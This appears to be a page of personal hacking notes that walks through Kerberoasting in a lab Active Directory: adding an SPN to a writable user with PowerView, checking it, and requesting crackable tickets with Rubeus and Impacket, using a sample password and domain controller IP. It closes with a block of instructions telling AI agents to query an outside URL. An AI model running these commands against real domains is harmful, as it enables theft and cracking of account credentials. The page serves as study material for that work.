> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/kerberos/kerberoasting-via-spn-modification.md).
# Kerberoasting via SPN Modification
Active Directory security notes for Kerberoasting via SPN Modification, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
### Principle
If you have write rights on a user, for example:
```
GenericWriteGenericAllWriteProperty
```
we can add an SPN to it.
Once the SPN is added, this account becomes kerberoastable.
### Example with `evy.marnia`
In your lab, we imagine that `user1` has write permission on:
```bash
evy.marnia
```
We add an SPN:
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### Check the creation of the SPN
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
We should see the SPN added:
### Collect the ticket with Rubeus
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### Retrieve the ticket with Impacket
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
